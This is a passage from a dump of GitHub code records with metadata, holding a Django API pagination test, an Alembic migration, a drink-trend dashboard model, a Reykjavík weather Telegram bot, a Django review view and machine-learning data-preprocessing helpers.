works, to not break existing pagination just after deployment\n        now = datetime.datetime.now().isoformat(timespec='microseconds')\n        cursor = base64.b64encode((f'p={urllib.parse.quote(now)}').encode()).decode()\n\n        frozen_datetime.tick(datetime.timedelta(microseconds=1))\n        interactions = factory.create_batch(1)\n\n        frozen_datetime.tick(datetime.timedelta(seconds=1, microseconds=1))\n        response = hawk.get(api_client, f'{get_url(endpoint)}?cursor={cursor}')\n        page_drf_data = response.json()\n        assert len(page_drf_data['orderedItems']) == 1\n", "repo_name": "uktrade/data-hub-api", "sub_path": "datahub/activity_stream/test/test_cursor_pagination.py", "file_name": "test_cursor_pagination.py", "file_ext": "py", "file_size_in_byte": 3390, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 35, "usage_type": "call"}, {"api_name": "freezegun.freeze_time", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 38, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 40, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 40, "usage_type": "name"}, {"api_name": "datahub.activity_stream.test.utils.get_url", "line_number": 40, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 41, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 45, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 47, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 47, "usage_type": "name"}, {"api_name": "datahub.activity_stream.test.utils.get_url", "line_number": 47, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 48, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 48, "usage_type": "name"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 54, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 54, "usage_type": "name"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 59, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 59, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 65, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 67, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 67, "usage_type": "name"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 72, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 72, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "attribute"}, {"api_name": "base64.b64encode", "line_number": 79, "usage_type": "call"}, {"api_name": "urllib.parse.parse.quote", "line_number": 79, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 79, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 79, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 84, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk.get", "line_number": 85, "usage_type": "call"}, {"api_name": "datahub.activity_stream.test.hawk", "line_number": 85, "usage_type": "name"}, {"api_name": "datahub.activity_stream.test.utils.get_url", "line_number": 85, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 16, "usage_type": "attribute"}, {"api_name": "datahub.interaction.test.factories.CompanyInteractionFactory", "line_number": 19, "usage_type": "name"}, {"api_name": "datahub.investment.project.test.factories.InvestmentProjectFactory", "line_number": 20, "usage_type": "name"}, {"api_name": "datahub.omis.order.test.factories.OrderFactory", "line_number": 21, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 24, "usage_type": "attribute"}]}
{"seq_id": "32824565868", "text": "from pathlib import Path\n\nfrom compagnon import config\nfrom compagnon.domain.model import AbstractExecution\n\n\nclass DownloadFileExecution(AbstractExecution):\n    execution_name = \"download_file\"\n\n    @config.add_config()\n    def command(self, *args, **kwargs):\n        fetcher = self.record.fetcher\n        path_prefix = Path(\n            kwargs[\"dest_prefix\"] + self.record.data[\"submission_id\"][\"site\"]\n        )\n        path_prefix.mkdir(parents=True, exist_ok=True)\n        file_paths = []\n        for file, ids in self.record.data[\"file_ids\"].items():\n            if ids:\n                file_path = fetcher.get_file(\n                    self.record,\n                    file_extractor,\n                    path_prefix=path_prefix,\n                )\n                file_paths.append(str(file_path))\n        return {\"file_paths\": file_paths}\n\n\ndef file_extractor(file):\n    def file_extractor_(record):\n        getattr(record.data.file_ids, file).site\n\n    return file_extractor_\n", "repo_name": "ckaipf/compagnon", "sub_path": "compagnon/service_layer/executions/cogdat/download_file.py", "file_name": "download_file.py", "file_ext": "py", "file_size_in_byte": 985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "compagnon.domain.model.AbstractExecution", "line_number": 7, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 13, "usage_type": "call"}, {"api_name": "compagnon.config.add_config", "line_number": 10, "usage_type": "call"}, {"api_name": "compagnon.config", "line_number": 10, "usage_type": "name"}]}
{"seq_id": "13606791433", "text": "\"\"\"empty message\n\nRevision ID: 2de75316c34a\nRevises: 7c246c5e930d\nCreate Date: 2023-06-01 01:26:28.101223\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '2de75316c34a'\ndown_revision = '7c246c5e930d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('favorite',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('user_id', sa.Integer(), nullable=False),\n    sa.Column('planet_id', sa.Integer(), nullable=True),\n    sa.Column('people_id', sa.Integer(), nullable=True),\n    sa.ForeignKeyConstraint(['people_id'], ['people.id'], ),\n    sa.ForeignKeyConstraint(['planet_id'], ['planet.id'], ),\n    sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n    sa.PrimaryKeyConstraint('id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('favorite')\n    # ### end Alembic commands ###\n", "repo_name": "danielcuellop/starwars-api-flask", "sub_path": "migrations/versions/2de75316c34a_.py", "file_name": "2de75316c34a_.py", "file_ext": "py", "file_size_in_byte": 1037, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 36, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "20180207240", "text": "import os\nfrom datetime import datetime\nfrom dotenv import load_dotenv\nimport pymysql\nimport sys\n# sys.path.append('/01personal/APP')\nfrom server import app\nfrom config import MysqlpoolConfig\nimport pandas as pd\nimport mysql.connector\nfrom mysql.connector import pooling\nimport plotly.graph_objects as go\n\n\n\n\nload_dotenv()\ntoday_date = datetime.now().strftime(\"%Y%m%d\")\nmy_db_conf = MysqlpoolConfig()\nconn_pool = pooling.MySQLConnectionPool(**my_db_conf.db_config)\nconn = conn_pool.get_connection()\n\ndef all_store():\n    cursor = conn.cursor()\n\n    sql = \"\"\"SELECT count(*) FROM store_info;\"\"\"\n    cursor.execute(sql)\n    data = cursor.fetchone()\n\n    brand_cursor = conn.cursor()\n    sql_brand=\"SELECT count(distinct store) as num FROM drink_list ;\"\n    brand_cursor.execute(sql_brand)\n    brand_data = brand_cursor.fetchone()\n    \n    drink_cursor = conn.cursor()\n    sql_drink=\"SELECT count(*) as drink_num FROM drink_list;\"\n    drink_cursor.execute(sql_drink)\n    drink_data = drink_cursor.fetchone()\n\n    cursor.close()\n    return data['count(*)'], brand_data['num'], drink_data['drink_num']\n\ndef drink_google_result():\n    cursor = conn.cursor()\n    sql = \"\"\"SELECT avg(trend_num) as trend_index,store FROM product.google_trend group by store order by trend_index desc;\"\"\"\n    cursor.execute(sql)\n    data = cursor.fetchall()\n    cursor.close()\n    result = {}\n    for item in data:\n        store=item['store']\n        stat=item['trend_index']\n        result[store] = stat\n    return result\n\n\ndef store_google_trend():\n    cursor = conn.cursor()\n\n    sql = \"\"\"SELECT * FROM google_trend where trend_date between '2023-09-01' AND '2023-09-30' \"\"\"\n    cursor.execute(sql)\n    data = cursor.fetchall()\n    cursor.close()\n    store_data = {  'Date': pd.date_range('2023-09-01', periods=30)}\n    for item in data:\n        store = item['store']\n        trend_num = item['trend_num']\n        if store not in store_data:\n            store_data[store] = []\n        store_data[store].append(trend_num)\n    \n    return store_data\n\ndef update_line_plot(selected_groups):\n    data = {}\n    df = pd.DataFrame(data)\n    store_data=store_google_trend()\n    for store, trend_nums in store_data.items():\n            store_series = pd.Series(trend_nums, name=store)\n            df = pd.concat([df, store_series], axis=1)\n    lines = []\n    for group in selected_groups:\n        trace = go.Scatter(\n            x=df['Date'],\n            y=df[group],\n            mode='lines+markers',\n            name=group\n        )\n        lines.append(trace)\n\n    layout = go.Layout(\n        title='上個月手搖飲品牌聲量走勢, 資料來源：google trend 手搖飲主題,此資料已對結果進行標準化為範圍從 0 到 100 的相對值',\n        xaxis=dict(title='Date'),\n        yaxis=dict(title='Value'),\n    )\n\n    return lines,layout\n\n\n\ndef drink_quiz():\n    cursor = conn.cursor()\n    sql = \"\"\"SELECT * FROM drink_quiz \"\"\"\n    cursor.execute(sql)\n    data = cursor.fetchall()\n    cursor.close()\n    url = [item['url'] for item in data ]\n    title = [item['title'] for item in data ]\n\n    return url,title\n", "repo_name": "tracy4528/WannaDRINK", "sub_path": "APP/server/models/dashboard_model.py", "file_name": "dashboard_model.py", "file_ext": "py", "file_size_in_byte": 3099, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "config.MysqlpoolConfig", "line_number": 19, "usage_type": "call"}, {"api_name": "mysql.connector.pooling.MySQLConnectionPool", "line_number": 20, "usage_type": "call"}, {"api_name": "mysql.connector.pooling", "line_number": 20, "usage_type": "name"}, {"api_name": "pandas.date_range", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 80, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 83, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 83, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Layout", "line_number": 91, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 91, "usage_type": "name"}]}
{"seq_id": "7334026166", "text": "#!/usr/bin/env python\n\nimport requests\nimport logging\nfrom telegram import (ReplyKeyboardMarkup)\nfrom telegram.ext import (Updater, CommandHandler)\n\nlogging.basicConfig(filename = 'reykjavik_weather_bot.log', filemode = 'a', format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s', level = logging.INFO)\nlogger = logging.getLogger(__name__)\n\nkeyboard = [['/vedur']]\n\ndef start(update, context):\n    user = update.message.from_user\n    update.message.reply_text(\n        'Reykjavík Weather Bot sendir nýjustu veðurathuganir í Reykjavík frá Veðurstofu Íslands.\\n\\nSendu /vedur eða smelltu á hnappinn til að birta veðurathuganir.',\n        reply_markup=ReplyKeyboardMarkup(keyboard, resize_keyboard=True, ))\n\ndef vedur(update, context):\n    user = update.message.from_user\n    apis = requests.get('https://apis.is/weather/observations/is?stations=1', timeout = 5).json()['results'][0]\n\n    data = []\n\n    name = '%s kl. %s \\n\\n\\n' % (apis['name'], apis['time'].split(\" \")[1][0:5])\n    data.append(name)\n    err = '\\t\\t' + apis['err']\n    if not not apis['err']: data.append(err)\n    w = '\\t\\tVeðurlýsing: ' + apis['W'] + ' \\n\\n'\n    if not not apis['W']: data.append(w)\n    t = '\\t\\tHitastig: ' + apis['T'] + '°C \\n\\n'\n    if not not apis['T']: data.append(t)\n    f = '\\t\\tVindhraði: ' +  apis['F'] + ' m/s \\n\\n'\n    if not not apis['F']: data.append(f)\n    fx = '\\t\\tMesti vindhraði: ' + apis['FX'] + ' m/s \\n\\n'\n    if not not apis['FX']: data.append(fx)\n    fg = '\\t\\tMesta vindhviða: ' + apis['FG'] + ' m/s \\n\\n'\n    if not not apis['FG']: data.append(fg)\n    d = '\\t\\tVindstefna: ' + apis['D'] + '\\n\\n'\n    if not not apis['D']: data.append(d)\n    r = '\\t\\tUppsöfnuð úrkoma: ' + apis['R'] + ' mm/klst \\n\\n'\n    if not not apis['R']: data.append(r)\n    v = '\\t\\tSkyggni: ' + apis['V'] + ' m \\n\\n'\n    if not not apis['V']: data.append(v)\n    n = '\\t\\tSkýjahula: ' + apis['N'] + '% \\n\\n'\n    if not not apis['N']: data.append(n)\n    p = '\\t\\tLoftþrýstingur: ' + apis['P'] + ' hPa \\n\\n'\n    if not not apis['P']: data.append(p)\n    rh = '\\t\\tRakastig: ' + apis['RH'] + '% \\n\\n'\n    if not not apis['RH']: data.append(rh)\n    snc = '\\t\\tLýsing á snjó: ' + apis['SNC'] + ' \\n\\n'\n    if not not apis['SNC']: data.append(snc)\n    snd = '\\t\\tSnjódýpt: ' + apis['SND'] + ' \\n\\n'\n    if not not apis['SND']: data.append(snd)\n    sed = '\\t\\tSnjólag: ' + apis['SED'] + ' \\n\\n'\n    if not not apis['SED']: data.append(sed)\n    rte = '\\t\\tVegahiti: ' + apis['RTE'] + '°C \\n\\n'\n    if not not apis['RTE']: data.append(rte)\n    td = '\\t\\tDaggarmark: ' + apis['TD'] + '°C \\n\\n'\n    if not not apis['TD']: data.append(td)\n\n    update.message.reply_text(' '.join(data), reply_markup=ReplyKeyboardMarkup(keyboard, resize_keyboard=True, ))\n    logger.info(\"%s bad um /vedur\", user.username)\n\ndef main():\n    updater = Updater(\"API_KEY\", use_context=True)\n    dp = updater.dispatcher\n    dp.add_handler(CommandHandler(\"start\", start))\n    dp.add_handler(CommandHandler(\"vedur\", vedur))\n    updater.start_polling()\n    updater.idle()\n\nmain()\n", "repo_name": "thrkll/reykjavik-weather-bot", "sub_path": "reykjavik-weather-bot.py", "file_name": "reykjavik-weather-bot.py", "file_ext": "py", "file_size_in_byte": 3061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "telegram.ReplyKeyboardMarkup", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "telegram.ReplyKeyboardMarkup", "line_number": 62, "usage_type": "call"}, {"api_name": "telegram.ext.Updater", "line_number": 66, "usage_type": "call"}, {"api_name": "telegram.ext.CommandHandler", "line_number": 68, "usage_type": "call"}, {"api_name": "telegram.ext.CommandHandler", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "20988321074", "text": "from django.shortcuts import redirect, render\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom rooms import models as room_models\nfrom reservations import models as reservation_models\nfrom reviews import forms\n\n\ndef create_review(request, room_pk, reservation_pk):\n\n    if request.method == \"POST\":\n\n        try:\n            form = forms.CreateReviewForm(request.POST)\n            room = room_models.Room.objects.get(pk=room_pk)\n            reservation = reservation_models.Reservation.objects.get(pk=reservation_pk)\n\n            if form.is_valid():\n                form.save(room=room, user=request.user)\n                messages.success(request, \"Review created\")\n                return redirect(reverse(\"rooms:detail\", kwargs={\"pk\": room.pk}))\n\n            return render(\n                request,\n                \"reservations/detail.html\",\n                {\"form\": form, \"reservation\": reservation},\n            )\n        except (\n            room_models.Room.DoesNotExist,\n            reservation_models.Reservation.DoesNotExist,\n            reservation_models.BookedDay.DoesNotExist,\n        ):\n            messages.error(request, \"Page not found.\")\n            return render(request, \"404.html\")\n", "repo_name": "chyoni/airbnb-2022", "sub_path": "reviews/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "reviews.forms.CreateReviewForm", "line_number": 14, "usage_type": "call"}, {"api_name": "reviews.forms", "line_number": 14, "usage_type": "name"}, {"api_name": "rooms.models.Room.objects.get", "line_number": 15, "usage_type": "call"}, {"api_name": "rooms.models.Room", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rooms.models", "line_number": 15, "usage_type": "name"}, {"api_name": "reservations.models.Reservation.objects.get", "line_number": 16, "usage_type": "call"}, {"api_name": "reservations.models.Reservation", "line_number": 16, "usage_type": "attribute"}, {"api_name": "reservations.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "rooms.models.Room", "line_number": 29, "usage_type": "attribute"}, {"api_name": "rooms.models", "line_number": 29, "usage_type": "name"}, {"api_name": "reservations.models.Reservation", "line_number": 30, "usage_type": "attribute"}, {"api_name": "reservations.models", "line_number": 30, "usage_type": "name"}, {"api_name": "reservations.models.BookedDay", "line_number": 31, "usage_type": "attribute"}, {"api_name": "reservations.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "6631866394", "text": "import numpy as np\nfrom matplotlib import pyplot as plt\n\n\ndef delete_bad_columns(x):\n    '''Deleting every column that have more than 60% of wrong values'''\n\n    bad_columns = []\n    not_that_bad_columns =[]\n    for i in range(len(x[0])):\n\n        x_nan = x[:, i][x[:, i] == -999]\n\n        nan_ratio = len(x_nan) / len(x[:, i])\n\n        if nan_ratio > 0.99:\n            bad_columns.append(i)\n\n        elif nan_ratio > 0:\n            not_that_bad_columns.append(i)\n\n    tx = np.delete(x, bad_columns, 1)\n\n    # print(\"Bad Columns\")\n    # print(bad_columns)\n    # print(\"\\n\\nNot That Bad Columns\")\n    # print(not_that_bad_columns)\n\n    return tx\n\n\ndef delete_bad_rows(x, y):\n    '''Deleting every row with wrong values'''\n\n    bad_rows = []\n\n    for i in range(len(x)):\n\n        if -999 in x[i]:\n            bad_rows.append(i)\n\n    return np.delete(x, bad_rows, 0), np.delete(y, bad_rows)\n\n\ndef delete_equal_columns(x):\n\n    temp = x\n    columns_to_del = []\n    for index in range(x.shape[1]):\n        if np.std(x[:, index]) == 0:\n            # temp = np.delete(temp, index, axis=1)\n            columns_to_del.append(index)\n\n    return np.delete(temp, columns_to_del, axis=1)\n\n\n\ndef replace_wrong_data(x):\n    '''Replacing every wrong value with the mean of the column calculated without those values'''\n    new_x = x\n\n    tx = []\n    # Every element of tx is a column of x without the wrong data\n    for i in range(len(x[0])):\n\n        tx.append(np.delete(x[:, i], np.where(x[:, i] == -999)))\n\n    # Calculating the mean of every column not taking account of the wrong data\n    # and then putting it instead of the wrong datum\n    for i in range(len(new_x[0])):\n\n        mean = np.mean(tx[i])\n\n        new_x[np.where(new_x[:, i] == -999), i] = mean\n\n    return new_x\n\n\ndef combine_features(x, list_of_features):\n    '''Combining every feature in list_of_features'''\n\n    features_combined = []\n    new_x = x\n\n    for column1 in list_of_features:\n        for column2 in list_of_features:\n\n            '''If the feature has not been seen already, we combine it with all the others'''\n            if (column1 not in features_combined) & (column2 not in features_combined) & (column1 != column2):\n\n                new_x = np.c_[new_x, new_x[:, column1] * new_x[:, column2]]\n\n        features_combined.append(column1)\n\n    return new_x\n\ndef calculate_mean_std_vector(x):\n    mu = []\n    sigma = []\n\n    for i in range(len(x[0])):\n\n        # Creates the mean and standard deviation vectors\n        mu.append(np.mean(x[:, i]))\n        sigma.append(np.std(x[:, i]))\n\n    return mu, sigma\n\ndef features_standardization(x):\n    '''Standardizing the features'''\n    new_x = x\n\n    for i in range(len(new_x[0])):\n\n        # Subtracting the mean and dividing by the standard deviation for every column\n        new_x[:, i] = (new_x[:, i] - np.mean(new_x[:, i])) / np.std(new_x[:, i])\n\n    return new_x\n\ndef rescale_standardization(x, mu, sigma):\n    '''Scales input back to original form, based on original mean and standard deviation.'''\n    new_x = x\n\n    for i in range(len(new_x[0])):\n\n        # Adding the mean and multiply by the standard deviation for every column\n        new_x[:, i] = (new_x[:, i] + mu) * sigma\n\n    return new_x\n\ndef features_normalization(x):\n    '''Normalizing the features'''\n\n    new_x = x\n\n    for i in range(len(new_x[0])):\n        # Subtracting the mean and dividing by the difference between the maximum and the minimum\n        new_x[:, i] = (new_x[:, i] - np.mean(new_x[:, i])) / (np.max(new_x[:, i]) - np.min(new_x[:, i]))\n\n    return new_x\n\n\ndef outliers_modified_z_score(xs):\n    \"\"\"\n    finds the index of the outliers, and replaces them by the mean value of the column.\n    :type xs: feature matrix\n    \"\"\"\n    for i in range(len(xs[0])):\n        threshold = 3.5\n\n        median_x = np.median(xs[:, i])\n        # modified_z_scores = []\n\n        for x in xs[:, i]:\n            median_absolute_deviation_x = np.median(np.abs(x - median_x))\n            if median_absolute_deviation_x == 0:\n                median_absolute_deviation_x = 1e-30\n            modified_z_scores = (0.6745 * (x - median_x) / median_absolute_deviation_x)\n\n            if modified_z_scores > threshold:\n                x[:, i] = mean(xs[:, i]) # * random number(either based on distribution or Q1/Q3) - avoid overemphasizing mean\n        outliers = np.array(np.where(np.abs(modified_z_scores) > threshold))\n\n        # median_x = np.median(xs[:, i])\n        # median_absolute_deviation_x = np.median([np.abs(x - median_x) for x in xs[:, i]])\n        # # NEED TO FIX: DIVISION BY ZERO:\n        # modified_z_scores = []\n        # for x in xs[:, i]:\n        #     if median_absolute_deviation_x == 0:\n        #         median_absolute_deviation_x = 1e-10\n        #     modified_z_scores.append(0.6745 * (x - median_x) / median_absolute_deviation_x)\n        # outliers = np.array(np.where(np.abs(modified_z_scores) > threshold))\n        #\n        # outliers = np.reshape(outliers, [len(outliers[0, :]), ])\n        # temp = np.delete(xs[:, i], outliers)\n        #\n        # for j in enumerate(outliers):\n        #     xs[j, i] = np.mean(temp)\n    return xs\n\ndef distribution_histogram(x):\n    titles = np.array(['DER_mass_MMC', 'DER_mass_transverse_met_lep',\n                       'DER_mass_vis', 'DER_pt_h', 'DER_deltaeta_jet_jet', 'DER_mass_jet_jet',\n                       'DER_prodeta_jet_jet', 'DER_deltar_tau_lep', 'DER_pt_tot', 'DER_sum_pt',\n                       'DER_pt_ratio_lep_tau', 'DER_met_phi_centrality', 'DER_lep_eta_centrality',\n                       'PRI_tau_pt', 'PRI_tau_eta', 'PRI_tau_phi', 'PRI_lep_pt', 'PRI_lep_eta',\n                       'PRI_lep_phi', 'PRI_met', 'PRI_met_phi', 'PRI_met_sumet', 'PRI_jet_num',\n                       'PRI_jet_leading_pt', 'PRI_jet_leading_eta', 'PRI_jet_leading_phi',\n                       'PRI_jet_subleading_pt', 'PRI_jet_subleading_eta', 'PRI_jet_subleading_phi',\n                       'PRI_jet_all_pt'])\n\n\n    tx = []\n    for i, title in enumerate(titles):\n\n        print(i)\n\n        tx.append(np.delete(x[:, i], np.where(x[:, i] == -999)))\n\n        plt.figure(i)\n        plt.hist(tx[i], bins=150)  # arguments are passed to np.histogram\n        plt.title(\"{y}\".format(y=title))\n        plt.show()\n\n\ndef PCA(x, chosen_dimensions):\n    ''' Computes the principal components of a given data set. Input x has to be without NaNs and standardized,\n    chosen_dimensions is the dimensions one wishes to end up with. Returns the projected X with the chosen dimensions,\n    and the eigenvalue ratios for plotting.\n    '''\n    # W: vector with all the eigenvalues, V: array of eigenvectors\n    W, V = np.linalg.eig(np.cov(x, rowvar=False))  # rowvar=False: column - variable, rows - observations.\n\n    #Analysing the eigenvalues\n    W_sort = np.sort(W)\n    W_sort = list(W_sort[::-1])  # flip w in descending order\n    eig_ratios = W_sort / sum(W)  # ratios of eigenvalues\n\n\n    #Sorts the eigenvectors corresponding to sorted eigenvalues\n    W = list(W)\n    PC_indices = []\n    V_sort = np.zeros([len(V)])\n    for i in range(len(W_sort)):\n        # PC_indices.append(W.index(w))\n        PC_indices.append(W.index(W_sort[i]))\n        V_sort = np.column_stack([V_sort, V[:, PC_indices[i]]])\n    V_sort = np.delete(V_sort, [0], axis=1)\n\n    projected_data = np.dot(x, V_sort[:, :chosen_dimensions])\n\n    return projected_data, eig_ratios\n\n\ndef visualization_PCA(eig_ratios):\n    '''Plots the eigenvalue ratios of the principal components and the cumulated ratios in a scree plot'''\n    # X-axis labels (xticks)\n    objects = ('PC1', 'PC2', 'PC3', 'PC4', 'PC5', 'PC6', 'PC7', 'PC8', 'PC9', 'PC10', 'PC11', 'PC12', 'PC13',\n               'PC14', 'PC15', 'PC16', 'PC17', 'PC18', 'PC19', 'PC20', 'PC21', 'PC22', 'PC23', 'PC24', 'PC25',\n               'PC26', 'PC27', 'PC28', 'PC29', 'PC30')\n    N = len(objects)\n\n    #Length of x-axis\n    x_pos = np.arange(N)\n\n    #Computes accumulated eigenvector ratios\n    eig_accumulated = np.cumsum(eig_ratios, dtype=float)\n\n    #Scree plot\n    plt.figure(1)\n    plt.scatter(x_pos, eig_ratios)\n    plt.scatter(x_pos, eig_accumulated)\n    plt.plot(x_pos, eig_ratios)\n    plt.plot(x_pos, eig_accumulated)\n    plt.axhline(y=0.85, color='r')\n    plt.axvline(x=13, color='r')\n    plt.grid()\n    plt.ylabel('Compared value')\n    plt.title('Eigenvalues, PCA')\n\n    # Following fits xticks, so all xticks are readable.\n    plt.xticks(x_pos, objects)\n\n    plt.gca().margins(x=0)\n    plt.gcf().canvas.draw()\n    tl = plt.gca().get_xticklabels()\n    maxsize = max([t.get_window_extent().width for t in tl])\n    m = 0.2  # inch margin\n    s = maxsize / plt.gcf().dpi * (N + 1) + 2 * m\n    margin = m / plt.gcf().get_size_inches()[0]\n\n    plt.gcf().subplots_adjust(left=margin, right=1. - margin)\n    plt.gcf().set_size_inches(s, plt.gcf().get_size_inches()[1])\n\n    plt.show()\n\n\ndef nan_helper(y):\n    \"\"\"Helper to handle indices and logical indices of NaNs.\n    Input:\n        - y, 1d numpy array with possible NaNs\n    Output:\n        - nans, logical indices of NaNs\n        - index, a function, with signature indices= index(logical_indices),\n          to convert logical indices of NaNs to 'equivalent' indices\n    \"\"\"\n    # print(y==-999)\n    return y==-999, lambda z: z.nonzero()[0]\n\n\ndef linear_interpolation(x):\n    '''linear interpolation of NaNs'''\n\n    new_x = x\n    nans, indices = nan_helper(x[:, 0])\n\n    new_x[:, 0][nans] = np.interp(indices(nans), indices(~nans), x[:, 0][~nans])\n\n    return new_x\n", "repo_name": "lorenzotara/ML_Project1", "sub_path": "helpers/data_analysis.py", "file_name": "data_analysis.py", "file_ext": "py", "file_size_in_byte": 9488, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.delete", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 138, 